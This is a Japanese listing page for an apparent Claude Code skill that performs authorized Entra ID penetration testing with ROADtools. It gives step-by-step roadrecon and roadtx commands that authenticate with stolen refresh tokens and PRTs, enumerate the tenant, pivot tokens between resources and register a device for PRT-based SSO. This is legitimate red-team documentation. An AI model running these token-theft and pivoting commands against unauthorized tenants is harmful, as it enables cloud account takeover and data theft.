attacking-entra-id-with-roadtools について
許可を得た Microsoft Entra ID のセキュリティテスト向け ROADtools スキルです。ROADrecon によるオフラインのディレクトリ分析と、roadtx によるトークン取得・交換、PRT フローを扱います。
主な機能
- 01ディレクトリオブジェクトの収集とオフライン閲覧
- 02条件付きアクセスポリシーの分析
- 03BloodHound 分析用データのエクスポート
- 04リソース間のトークン取得と交換
- 05デバイス登録と PRT 認証
活用シーン
- 01許可された Entra ID テストでのテナント列挙
- 02条件付きアクセスとデバイス準拠制御の確認
- 03攻撃経路分析のためのディレクトリデータ出力
- 04リソース間のトークンアクセス検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill attacking-entra-id-with-roadtoolsインストール後、Claude Code で/attacking-entra-id-with-roadtoolsを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py詳細
ROADtools で Entra ID を攻撃する
許可された用途に限ります: ROADtools は稼働中の Microsoft Entra ID(Azure AD)テナントとやり取りし、デバイスの登録、トークンの発行と交換、ディレクトリオブジェクトの列挙を行うことができます。所有するテナント、またはテストする書面による明示的な許可を得ているテナントに対してのみ使用してください。クラウドテナントへの不正アクセスは違法です。
概要
ROADtools(Dirk-jan Mollema による)は、Microsoft Entra ID 向けの事実上の攻撃用ツールキットです。主なコンポーネントは 2 つあります。
- ROADrecon — Entra ID に認証し、Azure AD Graph API を介してディレクトリ全体をローカルの SQLite データベースに収集し、ユーザー、グループ、ロール、アプリケーション、サービスプリンシパル、条件付きアクセス ポリシー、デバイスオブジェクトをオフラインで調査するための Angular GUI を提供します。プラグインシステムでは BloodHound へのエクスポートと CA ポリシーの分析が可能です。
- roadtx(ROADtools Token eXchange) — 多様な OAuth フロー(ROPC、デバイスコード、認証コード、リフレッシュトークンの交換、アプリ/フェデレーションアプリ)で Entra 発行のトークンを取得・交換し、デバイスの登録を実行するとともに、PRT ベースの SSO や Cookie の発行を含む Primary Refresh Token(PRT)操作を処理します。FOCI(Family of Client IDs)を認識するため、あるファーストパーティクライアントのリフレッシュトークンを別のリソース用に交換できます。
両者を組み合わせることで、クラウド ID に対する偵察フェーズをカバーします。テナントを列挙し(T1087.004 アカウントの検出:クラウドアカウント)、Microsoft Graph、Azure Resource Manager、その他のリソースにアクセスするために必要なトークンを取得・操作します。ROADrecon のオフラインデータベースにより、偵察を目立たず迅速に実施でき、roadtx により、トークン窃取、PRT の悪用、リソース間のピボットが現実的になります。
使用する場面
- 許可された Azure/Entra ID のレッドチーム演習やクラウド侵入テストを実施する場合。
- 足掛かりとなる認証情報、リフレッシュトークン、または PRT があり、テナントを列挙する必要がある場合。
- あるリソース(例:Azure CLI)から別のリソース(例:Microsoft Graph)へトークンをピボットする必要がある場合。
- 条件付きアクセス、デバイスコンプライアンス、トークン制御が実際に攻撃者の行動を制限するか検証する場合。
- Entra の攻撃経路をマッピングする場合(グラフ分析のために BloodHound へエクスポート)。
前提条件
- 対象テナントに対する書面による許可と、明確に定義されたスコープ。
- 最初の認証情報:ユーザー名/パスワード(MFA フローなし)、デバイスコードのセッション、リフレッシュ/アクセストークン、または登録済みデバイスの PRT。
- Python 3.7 以降(roadtx の Selenium フローには対応するバージョンの geckodriver/Firefox が必要です)。
# Core install (roadlib is a shared dependency, pulled in automatically)
python -m pip install roadrecon
python -m pip install roadtx
# Verify
roadrecon --help
roadtx --help
目標
- 適切なフローで Entra ID に認証します(MFA にはデバイスコードを推奨)。
- ROADrecon でディレクトリ全体を収集し、GUI で分析します。
- ディレクトリを BloodHound にエクスポートし、CA ポリシー分析プラグインを実行します。
- roadtx でトークンを取得し、リフレッシュトークンをリソース/クライアント間で交換します。
- PRT ベースの SSO を実演し、取得できたアクセスを記録します。
MITRE ATT&CK マッピング
| ID | 戦術 | 公式な手法名 | このスキルにおける役割 |
|---|---|---|---|
| T1087.004 | 偵察 | アカウントの検出:クラウドアカウント | ROADrecon がテナントのユーザー/アカウントを列挙します |
| T1069.003 | 偵察 | 権限グループの検出:クラウドグループ | ROADrecon が Entra のグループとロールを列挙します |
| T1538 | 偵察 | クラウドサービスのダッシュボード | GUI でテナント設定を調査します |
| T1550.001 | 防御回避/横展開 | 代替認証情報の使用:アプリケーションアクセストークン | roadtx がリフレッシュトークンをリソース間で交換します |
| T1528 | 認証情報アクセス | アプリケーションアクセストークンの窃取 | roadtx による PRT/トークンの取得 |
ワークフロー
ステップ 1:ROADrecon で認証する
足掛かりに合ったフローを選択します。デバイスコードは MFA に対応していますが、ROPC(-u/-p)は対応していません。
# Username/password (legacy, no MFA)
roadrecon auth -u [email protected] -p 'Password123!'
# Device-code flow (supports MFA)
roadrecon auth --device-code
# From a stolen access or refresh token
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>
# From a PRT (with session key) for SSO-grade access
roadrecon auth --prt <prt> --prt-sessionkey <session_key>
認証すると、作業ディレクトリに .roadtools_auth が書き込まれます。
ステップ 2:ディレクトリを収集する
# Full gather into roadrecon.db (default)
roadrecon gather
# Include MFA/auth-method details (requires a privileged role)
roadrecon gather --mfa
ステップ 3:GUI で調査する
roadrecon gui
# Browse to http://127.0.0.1:5000 — users, groups, roles, applications,
# service principals, devices, and conditional-access policies, all offline.
ステップ 4:分析プラグインを実行する
# Analyze conditional-access policies
roadrecon plugin policies -h
roadrecon plugin policies
# Export the gathered data to a BloodHound-importable format
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound
ステップ 5:roadtx でトークンを取得する
# ROPC: get a Microsoft Graph token for the Azure CLI client
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph
# Device-code style interactive auth for the Teams client to Graph
roadtx interactiveauth -c msteams -r msgraph
# From an existing refresh token
roadtx gettokens --refresh-token <refresh_token> -r msgraph
トークンは .roadtools_auth に書き込まれます(表示するには --tokens-stdout を使用してください)。
ステップ 6:リソース間でリフレッシュトークンを交換する(FOCI ピボット)
あるファーストパーティクライアント用に取得した FOCI リフレッシュトークンは、再認証せずに別のリソース用に交換できます。
# Convert the stored refresh token to an Azure Resource Manager token
roadtx refreshtokento -r azrm
# Convert to a scoped Graph token via the Teams client
roadtx refreshtokento -c msteams -r msgraph
# Find which first-party clients hold a given scope
roadtx getscope -s https://graph.microsoft.com/mail.read --foci
ステップ 7:デバイス登録と PRT ベースの SSO
# Register a (virtual) device to the tenant
roadtx device -n redteam-device
# Request a PRT using the device cert/key and user creds
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem
# Use the PRT to authenticate a client to a resource (SSO-grade)
roadtx prtauth -c msteams -r msgraph
# Enrich a PRT with an interactive MFA claim
roadtx prtenrich -u [email protected]
ステップ 8:トークンを検査する
# Decode and print claims of the stored / a supplied token
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .
ツールとリソース
| ツール | 目的 | 主な情報源 |
|---|---|---|
| ROADtools(リポジトリ) | ツールキットの概要と Wiki | https://github.com/dirkjanm/ROADtools |
| ROADrecon Wiki | 認証/収集/GUI/プラグインの使用方法 | https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon |
| roadtx Wiki | トークン交換と PRT/デバイスのフロー | https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx) |
| BloodHound CE | エクスポートされた Entra データのグラフ分析 | https://github.com/SpecterOps/BloodHound |
| Microsoft identity platform | トークン/フローのリファレンス | https://learn.microsoft.com/entra/identity-platform/ |
検証基準
- 許可されたフローを介して対象テナントに認証し、
.roadtools_authが作成されている。 - ディレクトリを
roadrecon.dbに収集している(ロールが許可する場合は--mfaを指定)。 - GUI を確認し、ユーザー、グループ、ロール、アプリ、CA ポリシーをレビューしている。
- CA ポリシーおよび BloodHound のプラグインを実行し、データをエクスポートしている。
- roadtx で少なくとも 1 つのリソース用のトークンを取得している。
- リフレッシュトークンを 2 つ目のリソース用に交換することを実証している(FOCI ピボット)。
- デバイスを登録し、PRT ベースの SSO を実証している(スコープに含まれる場合)。
-
roadtx describeでトークンのクレームを検査している。 - エンゲージメントレポート用に、調査結果とアクセスを記録している。